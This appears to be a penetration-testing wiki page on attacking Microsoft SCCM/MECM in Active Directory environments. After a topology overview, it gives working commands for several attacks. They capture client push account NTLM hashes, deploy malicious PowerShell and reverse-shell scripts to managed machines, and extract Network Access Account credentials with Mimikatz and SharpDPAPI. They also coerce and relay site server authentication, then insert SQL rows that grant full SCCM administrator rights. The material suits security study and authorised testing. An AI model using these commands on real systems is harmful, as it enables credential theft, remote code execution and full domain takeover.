Links

SCCM / MECM

Theory

The System Center Configuration Manager (SCCM), now known as Microsoft Endpoint Configuration Manager (MECM), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments. It provides lots of features including remote control, patch management, task automation, application distribution, hardware and software inventory, compliance management and security policy administration.

Topology

SCCM operates in a Client-Server architecture deployed on a "site", representing the SCCM environment. Each client (server or workstation) has an agent installed used to communicate with its SCCM server, the Primary Site server.
Clients are logically grouped into boundary groups, that are a set of network locations allowing clients to communicate with the SCCM closest resources in an SCCM site.
Boundary groups also allow for automatic site assignment for discovered clients based on their network location to attach them to the right site and ensure they receive the right configuration.
Each SCCM site is identified by a three-character code to distinguish it in an SCCM hierarchy. This is needed at the client registration process.
The primary site server manages the clients (like distributing software updates) and can have child servers attached to it (secondary sites), generally for scalability purpose.
Between the site server and clients sites the management point which is an SCCM server role allowing to provide clients with necessary policies and configuration to communicate with the site server and receive configuration data from them.
To get software packages, updates, OS images, etc. clients request the distribution point, which is the SCCM component that hosts and distributes them.
All information about the clients, software updates, hardware and software inventories, configuration settings of the site, etc. are stored in a Microsoft SQL Server (MSSQL) instance, known as the site database server. This database is used by the site server to retrieve and store information about the managed devices and is also used by the management point to retrieve policies and configuration information needed by the SCCM clients.
In addition, another component called the SMS Provider, provides a set of interfaces between the site server and the site database to give the clients needed information like available software updates and allow them communicate information like status of a software deployment and inventory data to store in the site database.
Typical multi-site architecture

Deployment types

When SCCM is installed in an Active Directory, the clients can be deployed on the workstations by six different ways:
  • Client push installation (default)
  • Software update-based installation
  • Group Policy installation
  • Manual installation
  • Logon script installation
  • Package and program installation
The first way of deploying SCCM is the Client push installation method, which is the default one and the least secure.
This installation will use "client push accounts". They are service accounts with local administrative rights on the assets where SCCM will have to deploy some stuff. The system administrator creates groups of endpoints and for each of those, one "client push account". For each group, only one "client push account" can authenticate with administrator rights on the assets of this group. Thus, if an account is compromised, only the members of the corresponding group can be compromised in turn.
When the SCCM deployment is launched, it will basically try to authenticate with each client push accounts on each asset, and if the authentication fails, SCCM will try the next account in line. When the authentication succeeds, it moves to the following asset, and so on until the deployment is complete.
SCCM deployment via Client push installation is service accounts credentials spraying in a nutshell.
Nota bene, there is a feature (not enabled by default) allowing for automatic client push installation on all discovered clients in a boundary group in an SCCM site.

Practice

Client push installation

With a compromised machine in an Active Directory where SCCM is deployed via Client Push Accounts on the assets, it is possible to have the "Client Push Account" authenticate to a remote resource and, for instance, retrieve an NTLM response (i.e. NTLM capture). The "Client Push Account" usually has local administrator rights to a lot of assets.
In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.
In order to retrieve the Client Push Account's authentication, all local admins must be removed from the compromised host, and a listener can be started on it with Inveigh (C# or Powershell).
# 1. Remove all the local Administrators on the compromised machine
net user <username> /delete
# 2. Listen for authentication with Inveigh
.\Inveigh.exe -Challenge 1122334455667788
Once the capturing/relaying listeners are started, the tester can wait for the Client Push Accounts to authenticate automatically. Hopefully, NTLMv1 will be used, allowing for easier NTLM cracking. There are other alternatives to cracking the response, like relaying the authentication.

Applications and scripts deployment

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with PowerSCCM (Powershell).
# Create a SCCM Session via WMI with the Site Code
Find-SccmSiteCode -ComputerName SCCMServer
New-SccmSession -ComputerName SCCMServer -SiteCode <site_code> -ConnectionType WMI
# Retrieve the computers linked to the SCCM server
Get-SccmSession | Get-SccmComputer
# Create a computer collection
Get-SccmSession | New-SccmCollection -CollectionName "collection" -CollectionType "Device"
# Add computers to the collection
Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "target" -CollectionName "collection"
# Create an application to deploy
Get-SccmSession | New-SccmApplication -ApplicationName "evilApp" -PowerShellB64 "<powershell_script_in_Base64>"
# Create an application deployment with the application and the collection previously created
Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "evilApp" -AssignmentName "assig" -CollectionName "collection"
# Force the machine in the collection to check the application update (and force the install)
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "collection"
If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.
This pull request on PowerSCCM can be used to do everything in one command. It uses the script configurationmanager.psd1 created by Microsoft, usually installed on SCCM servers.
# Create a CM drive if it doesn't already exist and deploy a CMScript on a target
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN 'sccm.domain.local' -TargetDevice 'target' -Path '.\reverseTCP.ps1' -ScriptName 'evilScript'

SCCM credentials extraction with DPAPI

When non-domain joined computers need to retrieve software from a SCCM server, the SCCM endpoint will deploy Network Access Accounts (NAA) on them. The NAAs do nothing on the hosts but access resources across the network.
Normally, the NAA account should be configured with the least privilege and does not have interactive logon rights. But it appears that sometimes domain accounts are used for this task.
The NAA policy, including the NAA's credentials, is sent by the SCCM server and stored on the client machine, encrypted via DPAPI with SYSTEM's master key. With a SYSTEM (i.e. local admin) access on the target, it is possible to decipher the policy and retrieve the credentials.
It appears that even after changing the NAA account or uninstalling the SCCM client, the credentials are still present on the disk.
UNIX-like
Windows
From UNIX-like systems, SystemDPAPIdump.py (Python) can be used to decipher the WMI blob via DPAPI and retrieve the stored credentials. Additionally, the tool can also extract SYSTEM DPAPI credentials.
SystemDPAPIdump.py -creds -sccm 'DOMAIN/USER:Password'@'target.domain.local'
With an elevated session on the target machine, SharpDPAPI (C#) can be used to extract the SCCM credentials on the host.
.\SharpDPAPI.exe SCCM
The tool Mimikatz (C) can also be used for the same purpose with privilege::debug , token::elevate and dpapi::sccm.
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm

Network Access Account de-obfuscation

A computer account has the ability to register itself with the SCCM server and request the encrypted NAA policies, decrypt them, de-obfuscate them and retrieve the NAA's (Network Access Account) credentials in them.
Normally, the NAA account should be configured with the least privilege and does not have interactive logon rights. But it appears that sometimes domain accounts are used for this task.
The first step consists in controlling a computer account. One can be created if the Machine Account Quota attribute is greater than 0.

1. Enroll and retrieve the NAA policy

The attack can then be performed with sccmwtf (Python). The new client to spoof doesn't need to be the previously created computer account (useful if the attacker already controls an enrolled existing computer account).
The positional arguments are as follows:
  • Spoof Name
  • Spoof FQDN
  • Target SCCM
  • Computer account username
  • Computer account password
sccmwtf.py "fakepc" "fakepc.domain.local" 'SCCM-Server' 'DOMAIN\ControlledComputer$' 'Password123!'
The tool author (Adam Chester) warns not to use this script in production environments.

2. Retrieve the credentials

Then, on a Windows machine, the two blobs (NetworkAccessUsername and NetworkAccessPassword) can be retrieved in plaintext by indicating only the hexadecimal part.
.\policysecretunobfuscate.exe <blob_hex_1>
.\policysecretunobfuscate.exe <blob_hex_2>

SCCM Site Takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy (See SCCM Topology).
The user account that installs the site must have the following permissions:
  • Administrator on the following servers:
    • The site server
    • Each SQL Server that hosts the site database
    • Each instance of the SMS Provider for the site
  • Sysadmin on the instance of SQL Server that hosts the site database
(source: Microsoft.com)
This means that it is possible to obtain administrative access on the site database server by relaying a NTLM authentication coming from the primary site server, for example by coercing an automatic client push installation from it, and granting full access on the SCCM site to a controlled user.
For more details about how this attack works, refer to the article "SCCM Site Takeover via Automatic Client Push Installation" by Chris Thompson.
Some requirements are needed to perform the attack:
  • automatic site assignment and automatic site-wide client push installation are enabled
  • fallback to NTLM authentication is enabled (default)
  • the hotfix KB15599094 not installed (it prevents the client push installation account to perform an NTLM connection to a client)
  • PKI certificates are not required for client authentication (default)
  • either:
    • MSSQL is reachable on the site database server
    OR
    • SMB is reachable and SMB signing isn’t required on the site database server
  • knowing the three-character site code for the SCCM site is required (step 3 below)
  • knowing the NetBIOS name, FQDN, or IP address of a site management point is required
  • knowing the NetBIOS name, FQDN, or IP address of the site database server is required

1. Retrieve the controlled user SID

The first step consists in retrieving the hexadecimal format of the user's SID (Security IDentifier) to grant "Full Administrator SCCM role" to, on the site database server. The hex formatted SID is needed in a part below: 4. Obtain an SQL console.
UNIX-like
Windows
From UNIX-like systems, the Samba utility named rpcclient can be used for this purpose.
rpcclient -c "lookupnames USER" $TARGET_IP
Impacket's lookupsid (Python) can also be used to retrieve the user's SID.
lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"
The returned SID value is in canonical format and not hexadecimal, impacket can be used to convert it as follows.
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))
From Windows systems, SharpSCCM (C#) can be used for this purpose.
# this should be run on the windows SCCM client as the user (no need for admin privileges here)
.\SharpSCCM.exe get user-sid

2. Setup NTLM relay server

The target of the NTLM relay attack must be set to the site database server, either on the MS-SQL (port 1433/tcp), or SMB service (port 445/tcp) if the relayed user has admin privileges on the target. The rest of this page is focusing on relaying the authentication on the MS-SQL service.
UNIX-like
Windows
From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose. In the examples below, the -socks option is used for more versatility but is not required.
# targetting MS-SQL
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks
# targeting SMB
ntlmrelayx.py -t "siteDatabase.domain.local" -smb2support -socks
From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it doesn't feature the same SOCKS functionality, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.
Fore more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: Relay.

3. Authentication coercion

The primary site server's authentication can be coerced via automatic client push installation targeting the relay server with SharpSCCM (C#). For more information, see the corresponding article "Coercing NTLM authentication from SCCM" by Chris Thompson. Alternatively, the server's authentication could be coerced with other, more common, coercion techniques (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).
UNIX-like
Windows
From UNIX-like systems, authentication can be coerced through PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc. (not based on triggering the client push installation).
There isn't any UNIX-like alternative to the SharpSCCM.exe invoke client-push feature (yet).
.\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "<site_code>" -t "attacker.domain.local"
The rest of this page is focusing on relaying the authentication on the MS-SQL service.

4. Obtain an SQL console

If the NTLM relay attack is a success and was targeting the MS-SQL service with SOCKS support, an SQL console could be obtained on the SCCM database through the opened socks proxy. From UNIX-like systems, Impacket's mssqlclient (Python) can be used for that purpose.
proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
Once the console is obtained, the attack can proceed to granting the user full privileges by running the following commands in the SQL console.
--Switch to site database
use CM_<site_code>
--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');
--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;
--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL),
--the “All Systems” scope (SMS00001),
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');
It is then possible to verify the new privileges on SCCM.
# this should be run on the windows SCCM client as the user that was just given full administrative role to
.\SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "<site_code>"
Post exploitation via SCCM can now be performed on the network.
The tool author (Chris Thompson) warns that SharpSCCM is a PoC only tested in lab. One should be careful when running in production environments.

Resources